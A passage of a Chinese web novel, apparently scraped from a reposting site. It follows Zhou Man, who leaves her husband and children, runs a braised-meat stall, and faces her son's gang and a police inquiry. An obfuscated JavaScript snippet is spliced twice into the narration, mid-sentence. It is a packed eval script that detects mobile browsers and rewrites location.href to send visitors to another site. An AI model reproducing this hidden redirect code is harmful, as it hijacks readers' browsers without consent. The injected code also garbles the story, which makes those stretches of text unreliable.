可是当元珠跑到街尾,隔着人群,一眼就能瞧见系着围裙的周满,正站在卤肉摊后面点头哈腰地吆喝顾客。 所有认知顷刻被推翻打破。 那张笑脸亦深深刺痛她的眼睛,震惊、愤懑的情绪犹如澎拜波涛,让元珠像一阵风一样拨开人群冲上前。 嘹亮的声音充斥满理直气壮与不满:“妈,你抛夫弃子离开家,就是为了出来丢人现眼,当街摆摊?” “抛夫弃子?” 此言一出现场顿时炸开锅。 与此同时,落在周满身上的目光变得鄙夷、与愤怒。 刚刚准备付完款的顾客干脆把东西往摊子一丢,无比嫌弃道:“退钱,你品德败坏,我不要你做的东西。” 大义凛然的样子立刻赢来满堂□□。 周满二话不说退款,并把拌好的卤肉收进摊子里。 她的沉默隐忍,让元珠心里忽然升起一股隐秘的得意,“好端端的舒服日子不过,偏要出来瞎折腾。你是不是故意在报复我们?故意让亲戚朋友看见,从而站在道德层面指责我们? 妈,你不是三岁小孩子了,不要再做这种幼稚的事情。” “就算你想要出来工作,让爸想办法安排你进厂子,或者去求求秦阿姨。秦阿姨那么厉害,去她公司当保洁打扫卫生,也比当街摆摊舒服。” 周满终于抬起头来,面色疏离淡然,“你爸已经答应初四去民政局办离婚手续,我也已经从你们元家搬出去。从今往后各不相干,我摆摊赚钱,那是我一个人的事,与你们没有关系。” 她语气平静地陈述真相,冷冰冰的目光却如同锋锐尖刀正中元珠心脏。 那双眼睛里全然没有往日的慈祥与脉脉温情。 好像对于周满而言,元珠这个女儿,已经无关重要。 意识到这点,元珠蓦然慌了神,“你们不能离婚,我死也不会同意的。走,立马跟我回去。你跟爸跪下道歉,请求他不要抛弃你。” 她粗暴地伸手去拽周满的胳膊。 啪! 一铁勺狠狠砸在她手背上,肉嫩白皙的肌肤瞬间通红一片,疼得眼泪在框里直打转。 她抬眼,恨恨地瞪向周满。不能理解为何她都低声下气,母亲还是如此铁石心肠? 二哥说的对,妈变了! 变得极其自私自利!!?“是我要跟你爸离婚。” 人群渐渐朝摊子围拢过来,为了今后口碑,周满迫不得已当街说起家丑:“你二哥为了辍学南下,不小心打破我脑袋; 我病得躺在床上,没人照顾,而你只丢给我一个咬不动的硬饼子; 还有你爸,腊月二十九那天突然领一个陌生女人回来,让我当护工伺候她……我已经被你们父子四人伤透了心,绝对不会再回去的。” 根本不用多加演绎,周满眼睫耷拉下来,配上那裹着绷带的额头以及苍白消瘦的面庞,足以博得全场人的同情。 舆论瞬间逆转。 前一刻涌向周满的流言蜚语,尽数扎到元珠身上。 “小姑娘长得挺漂亮的,可惜心肠太歹毒了。我要是有这等不孝子孙,直接浸厕所淹死算了,居然还有脸来闹?” “明明是亲妈受尽委屈,一颗心全偏在她爸身上,这什么绝世毒棉袄?” “小三都登门入室,这个婚必须得离!” “不是的,秦阿姨不是小三,她是爸爸的朋友。”元珠不愿意让旁人诋毁秦阿姨的名声,解释道: “秦阿姨夫家在外地,医院护工又毛手毛脚的。我妈没工作,整日就舒舒服服躺在家里,有大把时间能够照顾秦阿姨。” 这番话旁人听得都心寒,何况是周满。 “你是如何理直气壮说出来,让亲妈去伺候那个姓秦的女人的?”人群中,有大娘看不过眼,直接开喷。 “左一个秦阿姨,右一口秦阿姨,不知道还以为你是她生的呢?亲妈怎么不见你如此着急维护?” 元珠弱弱辩解:“秦阿姨对我们兄妹很好,年年生日都寄过来大牌礼物。何况,当初奶奶生病时,我妈端屎端尿伺候得好好的,经验丰富。” 大娘啐一口痰,“我呸!从没见过你这样狼心狗肺的东西,敢情你妈在你们家就是个奴才,伺候完婆婆,还要伺候丈夫的小情人。” “我是你妈早就离婚了,不仅离,还要闹的人尽皆知,让所有人都巧清楚那对奸夫□□。” 还有安慰周满的,“大妹子你想通就对了,现在是新时代,谁说离了男人不能活?来,给我称一斤卤肉、半斤卤蔬菜。” “也给我来半斤卤猪耳朵。” 元珠哪见过这阵仗,方才多么自豪,如今就有多么无助。众人鄙视的目光,叫她既羞又恼,恨不得找个地缝钻进去。 她下意识向周满求助,却看见周满正弯腰在铁锅里捞卤肉,生意做的无比红火。 凭什么? 一股怒火裹挟着破罐子破摔,摧枯拉朽般烧得她理智全无。 “我让你卖!” 她拔腿上前,朝铁锅踹去。 脚才碰到铁锅,就及时被周满抓着两边耳朵抬起来。不过铁锅受力晃荡,滚烫的卤水洒满一地,顺便浇湿元珠一脚。 “啊!” 元珠惨叫出声。 冬天裤子穿得厚,底下肌肤仍被烫得通红。 周满挑起眉梢,并不同情,也不心疼。元珠做事冲动任性,自食恶果。 倘若那锅汤真的被踹翻,她站得那么近,受伤的就是自己了。 “活该。” 大娘双手叉腰,尽说风凉话,“幸好这锅卤肉没事,同志,也给切上两斤。” 周围哄堂大笑。 元珠再也忍受不了侮辱,捂着脸逃离现场。 跑到街尾,她回头一瞧,发现周满根本没有追上,眼泪不禁噼里啪啦落下来。 经过这场闹剧,周满的卤肉摊在附近出了名。许是同情她,不少人纷纷掏钱买卤味,不到半天就一售而空。 周满心知肚明,这种红利是暂时的,或许仅仅今天才有,最好的情况能维持到明后天,关键还得靠味道。 但她十分有信心,只要吃过卤味,大部分人绝对还会再来买第二次、第三次。 周满收拾好摊子,并将周围卫生清理干净,拿着凭条从城管那里取回押金,推上摊车往家赶。 等元栋带着一群小混混前来算账时,根本找不见人影。 “我妈肯定是心虚跑了,刘哥,麻烦您和弟兄们明天再过来。”元栋讨好地递上一盒香烟。 刀疤刘见他如此上道,细细的眼睛笑成一条线,“那可是你亲妈?真要兄弟们去砸她摊子?” 元栋脸色铁青,“她在外边丢人就算了,还故意弄伤小妹,编排秦阿姨和我爸的名声,必须得给她一个教训。” 他扬了扬手,颇有些江湖义气,“我妈唯一的优点就是做饭好吃,到时候你们尽管把卤肉带走,给兄弟们荤改善伙食。” 这阵子风声紧,刀疤刘等人天天夹着尾巴做人,早就没钱下馆子。他舔了舔唇,“行啊,你不是一直想加入我们吗?等回去我肯定在海哥面前跟你美言的。” “真的?”元栋没料到还有意外之喜,连连感激道:“多谢刘哥,以后我赚大钱,肯定孝敬您。” 他一定要南下赚大钱,证明给周满跟大院里的人看,不光是读书才有出路,当倒爷同样能成功,做人上人! 元栋攥拳向天,心中壮志凌云。 街角。 国字脸公安手肘撞了撞同伴的腰,“现在的学生作业是不是太少了?整天白日做梦当倒爷,那刘刀疤绝非什么善茬。跟他混,迟早有苦头吃。” 旁边的同伴默默点头,他孩子要敢出去瞎混,非打断狗腿不可,这做家长的心忒大。 不过那一手卤味是真她娘绝了。 原本有些干渴的口腔顿时分泌出许多唾液,他不禁心痒难耐,还想找大队长多要一些来尝尝。 扭头望去,却见大队长身姿挺拔如松,狭长的凤目犹如鹰隼般警戒万分地盯着各个岔路口,竟无丝毫懈怠之意。 他俩心中一凛,这才消停下来。 好不容易终于盼到傍晚换班,孟越动作迅捷地换好常服,拎着卤味一弯腰就钻进了路边的吉普车。 车径直开进军区大院里。 衣着华贵的妇人侯在门口,她身穿一袭紫红色旗袍,外罩白色披风,盘起的发髻上插着一根玉簪子。 面容虽已布满皱纹,但眼神依然明亮锐利。 “你平时忙不回去就算了,大过年还申请加班,难道你就一点儿不在意我和你爸的感受吗?” 面对家人,孟越冷峻如霜的面庞柔和下来,揽着孟母肩膀往里走,“庙会人多,正是人贩子下手的好时机,忙过这几天我再好好陪你。” “当初你从军区退伍转业也是如此哄我的,结果转头就跑去刑侦大队报道。”孟母没好气地斜睨幼子一眼。 “你要是把对事业的这份心用到找对象上,不至于四十岁还没有孩子。” 孟越眸光晦暗,“我没有成家立业的打算。” “可当初你下乡任务,不是打电报回来称有了心仪的姑娘。难道人家结婚,你就真的一辈子守着她?”孟母恨铁不成钢,老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14078908|149453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟家造什么孽,偏偏出了这么一个痴情种。 孟越抿紧唇,“是我对不起她。” 要不是当年中间出了差错,才让周满意外嫁给元建军,以至于过得不好,后来闹离婚。 “大嫂最近胃口好点了吗?”孟越转过话头。 提到大儿媳,孟母眉宇间染上轻愁,“还在孕吐呢,什么都吃不下。” 长子成婚近二十年,如今终于迎来第一个孩子。 许是当初受孟家牵扯全家被迫下乡改造,大儿媳年轻时吃尽苦头,加之年纪大,这胎怀的极其不容易。 孟越本想询问大嫂妇联关于离婚纠纷相关案子,闻言不得已按下心思,转头吩咐保姆将手中的卤味上锅加热。 卧室里,黄玲本来在昏昏欲睡,孕反让她足足瘦了十多斤,浑身虚弱乏力。 迷迷糊糊中闻到一股极其霸道的香味,酱香中混合着一股辛辣,她忍不住吸了吸鼻子,口腔中亦分泌出许多唾液。 “妈,什么味道好香啊?” 她迫不及待地钻进厨房,拿起筷子夹一块清爽的土豆片,鲜辣顿时刺激舌尖,止不住胃口大开。 猪耳朵脆爽,五花肉软糯,猪蹄早已炖得软烂,入口即化……就像是打开一个神奇机关,什么孕反统统消失不见。 “香而不腻!” “妈,你快来啊,简直太好吃了!” 一家人听见动静跑进厨房一瞧,见黄玲左右开弓往嘴里塞东西,顿时哭笑不得。 孟母欣慰,拿起手帕拭去眼角泪花,“这卤味是阿越带回来的,喜欢吃,明天让他接着给你买。” 女人孕反时不是大夫指定食物就必须吃什么,根本吐得没胃口,只能吃点自己想吃的。 总比活生生饿死强。 “好兄弟。”孟祈拍了拍弟弟的肩膀,感激尽在不言中。 孟越却是心神微动,顿了顿,装作不经意般说道:“起先我跟其他人一样也是看她可怜……” 孟越没有丝毫添油加醋,平静叙述街头母女俩那场闹剧,却叫黄玲忿忿不平,红了眼眶。 “这位女同志十分勇敢坚强,正好拿来做典型。年前开会,上面传达文件精神,让妇联重点关注并扶持受压迫的家庭主妇。” 周满遭遇可怜,但本身立得住,自立自强,已经在黄玲心中刷了一层好感。 她一边大快朵颐,一边琢磨着如何通过妇联帮助周满。 旁边,孟父眯起眼眸,出于军人的警觉忍不住观察起小儿子。 孟越坦荡荡地回视过去,眉目清正。仿佛真的只是顺手发发善举,不掺杂一丁点儿死心。 “阿嚏!”“阿嚏!” 一股冷风袭面而来,周满接连打了两个喷嚏,脑子都是懵的。 “摊子我帮你收拾,你先回去睡会儿。”赵大娘瞧见她面脸疲惫,不由分说将她推进卧房。 怕被子太冷,特地灌了个热水宝丢进被子里。 暖气散开,一点点蔓延到四肢百骸,周满沉沉阖上眼眸。 这一天可真够累的,本来昨晚睡得就晚,早上天不亮还要起床做卤味,再推到隔壁两条街出摊……一通忙活下来,着着实实身体有些承受不住。 但都是值得的! 这股满足感在她睡醒后数钱,达到巅峰。 今天足足赚了近五十块,除去成本,净利润也能到一半,怪不得人人都爱做生意。 这笔钱让周满更有独立生活下去的底气,生活越来越有盼头,不过大脑依旧保持着冷静。 别看钱很多,等再过十几二十年钱就不值钱了,十块顶多能买三肉包,不到一斤黄瓜。 不过,为了能长久把生意做下去,味道、食材卫生、口碑都得维持好。 周满行动力十分强,取出几张票子,其他则藏进橱柜的棉裤里,抱着簸箕去东厢房找赵大娘一块做针线。 她计划分别做两个口罩和头套,轮换着清洗佩戴,上面还要绣一行小字:周记食味。 从招牌到工服一体标准化,不断创造记忆点,强行植入信息,最终在食客心中形成心锚。 何为心锚? 就是只要提到周记,脑海里会立马浮现对应信息:一个干净卫生爱讲究的老板娘,以及无比美味的饭菜。 周满不打算一味做卤肉。 等过完年,人们手头紧,卤肉的购买力就会持续下降。 把老卤进行浓缩和干燥处理,能持续保持好几个月甚至一年,逢年过节时再制作新鲜卤味进行售卖。 至于日常卖什么,等离完婚,回趟娘家后再做决定。反正无论是包子馒头,还是馄炖小面,对她而言都是手到擒来。 正好,三哥学过木匠,能帮她重新做招牌,加固下小食摊。 这些想法在心头一一过了遍,周满手上不停,给成形的口罩收好针,用牙咬断线。 16. 老二进公安局了 口罩是挂耳式的,比医院里护士头戴式的便捷。外面用白色粗布,内衬则用棉柔,透气且不会担心磨伤皮肤。 赵大娘稀罕地拿在手中反复观看,笑赞道:“你女红可真了不得,边线针脚细密。绣出来的字大小相同,跟花似的,秀气极了。” 这门手艺是周满练十字绣练出来的,上了岁数的人不爱看电视,嫌吵嫌闹腾,于是打打毛线做点刺绣打发时间。 赵大娘越瞧心里越发喜欢,尤其是当她注意到周满身上穿的这身旧袄子,心灵手巧的人就连打补丁方式与旁人不同。 取颜色相近的线绣成竹子或树叶,不知道还以为做衣服时就绣上去的。 “我箱子底有块鹅黄色的棉布,一直琢磨着要给囡囡做衣服。可前些年隔壁胡同的老裁缝被邻居举报接受改造后,伤透了心,发誓再也不碰衣服了。” “你要是有空闲时间帮我裁身衣服,缝纫机随便用,我给你付工钱。等你做好,我再跟邻居宣传宣传,好歹还能有一笔收入。” 江城有人从南边深市进了批时髦衣服,款式新颖,价格同样昂贵。 除了有钱人当官的,还有厂子里的小年轻,普通老百姓根本舍不得消费。 诸如赵大娘老一辈的人,宁愿买布回来找裁缝,能省一分是一分。 周满心念微动。 她手里的确缺钱的很,长期租房子不叫事,还是得有自己的房子,自己的根。 运气好点,将来拆迁能分得两三套,不必出门摆摊风吹日晒。每月按时按点收收租,养老也能有所保障。 要是等过几年房地产市场发展起来再筹谋买房,一平米上千上万块,她一个小老太太根本无力负担。 买房,是国人根深蒂固的执念。 赵大娘从箱子底把棉布取出来,放置太久颜色稍微变得暗沉,好在没有蛀虫。 周满思索片刻,借了囡囡的一套纸笔,按照后世童装的模样,设计一套兔子棉外套。 整体呈A字衣摆,底部一圈往内收。拉链外边再缝一层,装饰上两颗白色羊角扣。 帽子部分,兔子耳朵与帽沿都围上一圈白。 不止是赵大娘爱不释手,就连小囡囡双手紧紧抱着设计图,眼睛都笑弯成月牙儿。 到了晚上睡觉时,周满已经把需要的布料一一裁剪下来,收拾好放在簸箕里,盖上缝纫机,剩下留着出摊回来再做。 初二,又是天不亮早早从床上爬起来,熟练的炖煮卤味,吃过早饭后从家里出发,前往庙街。 昏黄的路灯照亮前方的路,街道上行人寥寥。 周满顶着刺骨的寒风,内心却是无比火热。 有了经验,今天来得更早一些,连城管都还没上班,牢牢占据正中间的位置。 又等了十几分钟,才陆陆续续有摊子摆过来。 昨日卤肉摊大出风头,将街上大半人群吸引过来,接连带动周边摊子的生意。 众人得了实惠,心中又同情周满一个即将离异的女人,大多数见面都乐呵呵地打招呼。当然也有泛酸的,可也不会跑到周满跟前挑事。 因此,相对而言摊贩间维持着其乐融融的气氛。 江城难得有点新鲜事,一传十十传百。太阳还没升到枝头,卤肉摊前面已经围拢一圈人。 有的纯属好奇; 有的是二次熟客,熟练点单:“老板娘,再来一份卤肉,辣子可以少放点,醋多放。您家老陈醋味道绵甜醇香,跟我老家很像。” 再听口音,显然是晋城那边的。 果然懂行的才能吃出其中差别来,周满的确用的是山西老陈醋,调料个个有讲究,因此卖得贵,不怕顾客挑理。 周满按照要求凉拌好卤味,一手递过去一手收钱。 食客提在手中掂量,发现比昨天重一些,脸上笑容更盛:“老板娘实惠会做人,下次我还来。” 卤肉接连吃两天,还是看在过年的份上,否则那点工资绝对消费不起。 周满用帕子擦掉手上油渍,温声道:“卤肉只卖三天,逢年过节才做。平日里打算做点包子馒头卖,到时候还请多多光顾。等过几天摊子打好招牌,跟我帽子上戴的字一样,都叫周记食味,您一定要认准嘞。” 食客方才注意到周满今日穿了一套整齐的服装,帽子、口罩、围裙都是白色,一眼瞧过去显得既专业,又卫生。 “行,到时候我一定光顾。” 老板娘卤味做得好,包子馒头肯定差不了。 食客想到日后能时常吃到美味,带着好心情离开。 其他顾客听闻卤肉仅卖三天,本来还纠结价格昂贵的,立马掏钱买个一块钱、两块钱的尝尝鲜。 当元栋领着一群小混混过来闹事时,瞧见的就是这般盛景,心头顿时百感交集,更多的则是愤怒、难堪。 这,还是他们那个灰头土脸的妈吗? 记忆中母亲十分强势,除了会伺候人没有任何优点,当然会做饭也是在伺候人的内容当中。三兄妹包括元建军都深信不疑,周满离开家后将会过得如何如何凄惨。 但绝对不会是眼前这般积极、顺风顺水的生活。 也绝对不能! 不然岂不是衬得老元家像个笑话。 十几岁的少年正是讲究江湖豪气重脸面的时候,元栋提着棍子,满脸凶神恶煞,抬脚冲进去掀摊子。 他是为妹妹报仇,他没错; 他也是为了让母亲乖乖回归家庭,继续当家庭主妇,更没错。 其他小混混早被这股卤肉香味馋得腹腔轰鸣,撒开脚丫子跑得比元栋还快,边跑边吸鼻子,快兜不住满嘴的口水了。 砰! 为首的小混混忽然被一脚踹飞出去,在地上连续滚了好几圈,抱着肚子哎哟哎哟叫唤不停。 众人急急刹住脚步。 俊伟公安仿佛从天而降般,高大威武,臂章上的五角星闪闪发光。 集体蔫巴了,跟霜打过的黄花菜似的。 元栋脸色煞白。 “不许动,全部蹲下,双手抱着脑袋。” 有蹲局子经验丰富的小混混,配合地蹲下抱头,开始耍无赖:“公安同志,我们什么坏事都没做,你们可不能随随便便抓人。” 孟越蹙眉,肃声批评道:“你们当混混的,也要与时俱进。” 小混混气噎:“……” 他之所以选择当混混,就是因为好吃懒做,不爱进步,不爱学习。 “去年刚颁布《集会游行示威法》第 29条第3款规定,非法集会、游行、示威的,依照扰乱社会秩序罪论处。你们人手一根棍子,这就是罪证。” 小混混傻眼了,要是被定罪蹲大狱是免不了的。眼睛一转,瞬间出卖元栋:“公安同志,都是元栋的主意,是他喊我们来砸他妈的摊子。他是主犯,我们顶多算从犯。” 元栋脸色瞬间煞白。 他本就是三好学生,从小被周满拘着不准跟坏学生玩。长大后到了叛逆期,顶多是闹着辍学下海,头一次干坏事就被警察逮住,心里又急又怕。 要是进警局留有案底,这辈子彻底完了。 元栋一点儿不想被公安抓走,眼角余光瞅到不远处的卤肉摊子,一下子蹦哒起来,朝那边跑:“妈,救我。” 跑了没几步,就被其余赶过来的公安逮住了,死死按着脸压在地上,啃了满嘴泥巴。 “妈,我是元栋,你快来救救我啊。” “妈……” 庙会摊子多,各种喇叭音响吵吵闹闹的。 隐约间,周满似乎听到老二的声音,四周瞧了瞧没发现人影,便继续投入到忙碌的工作中。 顾客太多,等的时间长容易生怨气。 周满手脚麻利,手上动作一刻也丝毫不敢停。哪怕喉咙渴得冒烟,依旧咬牙忍下去。 没办法,做生意就要会看人脸色,能吃苦。 就元栋那过于刚直莽撞地性子,丝毫不懂人情世故,最好像上辈子当研究员,独立研究东西。 前世周满根据儿子们的性格,为他们分别制定不同的发展路线,在各自领域混得风生水起。 这辈子且就随他们去吧。 那厢。 久久得不到回应,尤其是以一种极其屈辱的姿势供路人围观指点,元栋屈辱地流下眼泪。 元珠说的对,妈可真狠心。 元栋跟其他小混混一起被警察带走,浩浩荡荡,引来不少路人围观。 黄二媳妇大老远望过去,觉得有个小混混很眼熟。等人走远后方才一拍大腿,嚯,那不是打了亲妈闹辍学的元栋嘛! 顾不得逛庙会,她风风火火地往家属院赶,准备找其他老娘们分享这个惊天八卦。 曾经众人多么羡慕老元家,如今个个恨不得踩上一脚。 痛打落水狗。 家属院闹得沸沸扬扬,而周满是最后一个得知消息的。 “元栋因为聚众闹事进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周满累了大半天的确腰酸背痛,也怕耽搁公安做笔录,便将恩情记下来,等下次他来买吃食时多给一些。 思及此,周满扫了眼手中那一大包卤味,忍不住担心起来:“同志,昨天你已经买了不少卤味,今天还买这么多,您吃得完吗?” 孟越言简意赅:“我嫂子近来孕吐,如今只吃得下你做的卤味。” 周满一颗心落了地。 大队长是个正直善良的老好人,她生怕对方是出于同情,才一次次照顾自己生意的。 公安局离得不远,两人步行十几分钟便抵达。 孟越做事细心周到,将摊车锁在门边,顺便拜托门卫老大爷帮忙看护。 门卫大爷头发花白,腿脚都不太利索,仍给孟越行了个标准的军礼,惹得周满好奇地多看两眼。 “王大爷是老红军,家里就剩他一个。不肯接受政府接济,干脆安排他来保安亭。” 周满不由心生敬佩。 公安局里,元家一双兄妹得到消息匆匆赶到。兄妹俩坐在长凳里,脸臊得恨不能找个地缝钻进去。 “是妈!太好了,妈终于来了。” 元珠兴奋地高高扬起手,猛然意识到昨日母女俩间的恩怨,那张鲜花般娇嫩的脸霎时拉得极长,重新一屁股坐回去。 周满匆匆扫了眼,亦装作没看见似的。 反正着急的又不是她。 倒是落后一步的孟越若有所思,这对母女关系比自己想象的更恶劣。 准确点说,是兄妹三人对周满没有应有的尊重,并且显得——毫无教养。 孟越眸光渐冷,领着周满来到一个方脸公安前,“元栋家属,过来做语录。” 此言一出,办公室不少人都好奇望过来,目光里充满浓浓探究。 孟越猛地抬眼扫去。 众人赶忙低下头,继续做事。 一个个耳朵高高竖起来,准备探听新年第一桩家庭纠纷大戏。 毋庸置疑,肯定是元栋说了不少亲妈坏话,说不定还有身后长凳上那两个王八羔子的添油加醋。 周满表情十分平静,摘下口罩,眉眼轮廓精致,气质温婉平易近人。双手交叠在膝盖上,坐在凳子上板板正正的。 看得出来,本身涵养也是极高。 记录员见过不少嫌疑人,大多数能从面相看出其性子,眼前的女人不像是元家兄妹口中,是个控制欲极强且爱慕虚荣的母亲。 声音由此缓和下来:“周满同志你好,你儿子今日上午在庙会上聚众闹事,坚持咬定是要给妹妹讨个公道。请问昨天你是否与嫌疑人的妹妹,也就是元珠产生矛盾,不仅言语侮辱,败坏元家名声,甚至把一锅滚烫的水泼到她腿上?” 一旦指控坐实,说不得公安还要追究周满虐待儿童的罪行。 17.周满拒绝保释 元斌猛地回头看向妹妹,压低声音,质问道:“不是叮嘱过你,务必要实话实说吗?” 学校年年普法,身为三好学生代表,元斌比弟弟妹妹们更清楚明白法律权威神圣不可侵犯。 弟弟妹妹接连受挫,说明周满已经对儿女们灰心冷意。要想让妈回归家庭,除了利用一颗慈母心、怀柔政策别无他法。 可他万万没料到,兄妹俩分开录口供后,家里千娇百宠的小妹居然捅出如此大的篓子。 蠢货! 两个足以写进历史书里的蠢货! “大哥你就瞧好吧,这回妈输定了。” 元珠得意洋洋地昂起下巴,满脑子全是亲妈低头认错的幻想,根本考虑不到事情的严重性。 元斌气笑了,“有个坐过牢的妈对你究竟有什么好处?她简直白疼你了。” “妈怎么可能会坐牢?二表姐说了,妈顶多被公安同志批判教育,写份检查。” “三婶向来跟妈面和心不和,巴不得咱家一直出丑,二表妹的话你也敢听?人家随便捧你几句,压岁钱全部就乖乖交出去,你真是蠢的没救了。” “你才蠢!哼,我发誓再也不跟你说话了。” 元珠羞恼地把头扭到一边,元斌懒得去哄,把最后希望寄于母亲身上。 周满声音平静到没有多余的感情起伏,让元斌不知该庆幸还是觉得难过。 “昨天元珠发现我在摆摊,跑过来用言语侮辱于我。当时很多顾客都在场,见元珠说得太过分,也是出于同情,帮腔回了几句。” “从小那孩子便娇生惯养,我和孩子爸万事顺着。这不,一不如意,就伸脚去踹铁锅,结果自食恶果。” 至于伤心吗? 没有。 当她离开元家,通过双手赚到第一笔钱时,心态已经发生转变。再计较儿女孝顺不孝顺,毫无意义。 将来她不靠三兄妹养老,现在也不会再给他们擦屁股了。 “庙会还没散,警官可以派人去问问那些小摊贩,他们皆可以为我作证。”即便是周满这个家庭主妇也知道法律要讲求证据,不是随便两句诬告就能定罪。 相反,做假证是违法行为。 碍于三兄妹年纪小,顶多批评教育,不过能让他们以后学会如何遵纪守法,少来找自己的茬。 北风呼呼地吹,拂得五星红旗猎猎作响。 大厅里气氛肃然。 记录员眉头几乎能拧死一只苍蝇,无他,周满实在太过沉静。 要么,就是对儿女失望透顶;要么心机深沉,长期存在虐待儿童,是个细节完美的罪犯。 他垂眸扫了眼手中三份元家孩子的笔录。 其中一份叙述中肯,另外两份,字里行间全是对母亲变态控制欲的控诉。 顿了顿,突然开口问了个牛头不对马嘴的问题:“对于你而言,孩子是什么?你爱自己的孩子吗?” 察觉到记录员目光骤然变得凌厉,周满猜测与自己态度有关,那张温婉的脸庞才浮现出一些懊恼与无可奈何,似乎对叛逆任性的儿女们不知道该如何教养。 “我曾经很爱他们,可是他们从不爱我。” 周满唇边浮上一抹苦笑,状似不经意地抬手抚了抚受过伤的额头,“结婚二十年,我耗费心血抚养儿女长大,大院里谁不夸一句好。但换来的是丈夫的不尊重,儿女的轻视。可是谁又规定,母亲一定要牺牲,无条件爱自己的孩子呢?” 记录员被问住了,喃喃道:“但天底下母亲都是这样的不求回报的。” 不少人赞同地点点头,认为周满太过自私。 哪个女人不是这样过来的? “凭什么呢?” 面对众怒,周满身板坐的笔直,如同奔赴战场的女将军。 她反问:“就因为我生下了他们?将他们从牙牙学语的婴儿抚养成人,读书明事理,各自成家立业后,再帮他们带孩子……母亲的意义,就是为了生孩子、带孩子、做家务吗?凭什么我一定要是丈夫、儿女的附属品,不能勇敢做自己,为自己而活呢?这是不是太不公平了点?” 一连串的反问铿锵有力,掷地有声,砸得大厅里顷刻鸦雀无声。 元家兄妹俩脸沉如墨,头一次知道原来母亲对他们也会有诸多怨言,眸中凝聚一丝毒怨。 “啪啪啪!” 就在这时,身后忽然响起一阵阵鼓掌声。来人穿着深蓝色中山装,黑皮靴,一头利落的齐耳短发,年龄大约在四十上下岁。 “这位妇女同志思想进步,政治正确,简直说得太好了。女性不是附属品,具有独立人格,必须要为自己而活。” “黄主任,您怎么亲自来了?”记录员热情地迎起身。 这桩案子涉嫌到儿童虐待、家庭矛盾,因此公安局立刻连线妇联委会派人过来协调,没想到妇联主任会亲自过来。 黄玲抬眼扫过表情肃然的小叔子,落在正襟危坐的周满……的手上,越看好感度越深。 就是那双手做出了堪比仙肴的卤味! 她不动声色地吞咽唾沫,抓紧办正事:“那两个孩子在哪?” 记录员伸手指着长凳上那对外貌出众的兄妹俩,将三份笔录递过去,“接下来就麻烦黄主任了。” 黄玲单独跟两个孩子去其他房间做记录。 国字脸公安从外面匆匆进来,侧眸与孟越对视一眼,看见大队长点头后,对着记录员说道:“当时现场的摊贩过来为周老板作证了。” 周满意外地扬起眉毛,没想到九零年公安执法如此神速,比后世效率高太多了。 随着证人进来,周满发现他们刚好是隔壁左右的摊主,一个卖馄炖,一个卖手工饰品。 卖饰品的小姑娘正义感爆棚,语速噼里啪啦,跟珠翠落在玉盘上似的,“我叫罗大妮,身份证号是xxx……昨天在周老板旁边摆摊,可以作为周老板的证人。那个小姑娘挑事后,抬脚去踹铁锅,导致汤从里面撒出来。我看得相当清楚,小姑娘皮肤泛红没起水泡,并没有造成严重烫伤,能跑还能跳。” 周满感激地看向她,心中再次感慨:现在的小姑娘口齿伶俐,逻辑真清晰,帮了她大忙。 最后那句话等于是在表明女儿受伤后,周满这个当妈的继续做生意,并非冷血,而是因为对方什么事都没有。 而馄炖摊主同样给周满惊喜。 他记性好,直接将当时的场景、对话大部分都还原出来。 本来对周满颇有微词的公安们,禁不住同情起她来,这股同情在黄玲拿着最新笔录出来达到巅峰。 “元珠承认自己心怀怨恨,从而诬陷母亲,妇联已经对她进行严厉的教育批评。” 记录员惭愧至极,为先前的偏见,走出来朝周满深深鞠了一躬,“周满同志对不起。” 而后起身惶恐地看向大队长。 大队长不止一次严厉告诫他们,法律要谈证据,不能带入个人情感,否则会影响案件侦破,而他恰好犯了大忌。 正所谓吃一蛰长一智,孟越冷冷扫了他一眼,“下不为例。” 记录员不自觉地打了个寒颤,连番保证稍后就把开会做的笔记抄上十遍。 这场闹剧彻底落下帷幕。 为了感激两位摊主,周满承诺明日会免费赠送他们一份卤味,直馋得两人心花怒放,觉得果然没白跑一趟。 送走他们,周满看见一双儿女站在角落,发现她目光时齐齐低下头去。 公安说道:“念在元栋是初犯,还是马上考大学的高三学生,平日成绩好。家属可以保释出去,回去记得多教育。” 周满义正言辞道:“元栋今年十九岁,是个成年人了,有必要为自己的行为付出代价。法律怎么规定的,你们就怎么做,千万不要心软,否则就是害了他。” 末了低声叹息:“他性子执拗,怕是已经怨怼上我,如何肯听我的。不如就交给公安同志,相信你们一定能让元栋洗心革面重新做人,为做祖国未来的栋梁之才而努力奋斗。” 没人料到周满拒绝保释次子。 但是。 她的理由无可挑剔,让人反驳不出一句当妈的不是来。 “这样一来,他会留案底的。”公安委婉劝诫。 周满瞪圆眼睛,表情左右为难,最后终于下定决心般艰难说道:“小时候长教训,总比将来误入歧途,杀人放火强。反正我是管不了,也没法管呐。” “妈,那可是二哥,你快点把他保释出来。你对他再有怨言,也不该让他蹲局子,毁掉他一生的前途啊?” 元珠气势汹汹地冲过来,眼前忽然被一道高大的身影挡住了,脚步不由得顿在原地。 男人可真高,她仰起头才堪堪瞧见对方肩膀上的徽章。 身材魁梧,正好把周满遮挡个严实。 “考虑到元家特殊情况,父母正在离婚期间,周同志已经搬出去住,且作为受害者希望公安依法处理,接下来通知犯人家属过来。” 孟越一一吩咐下去,最后垂眸看周满,深邃的眼睛里含着几乎难以分辨的浅笑,“周同志,你可以走了。” 两兄妹窝里横,在强大气场的公安跟前屁都不敢放,只能眼睁睁望着周满离开。 “二哥是不是真要坐牢了?”元珠这会儿终于慌了神,带着哭腔问:“大哥,你快想想办法啊,咱们接下来该怎么办?” 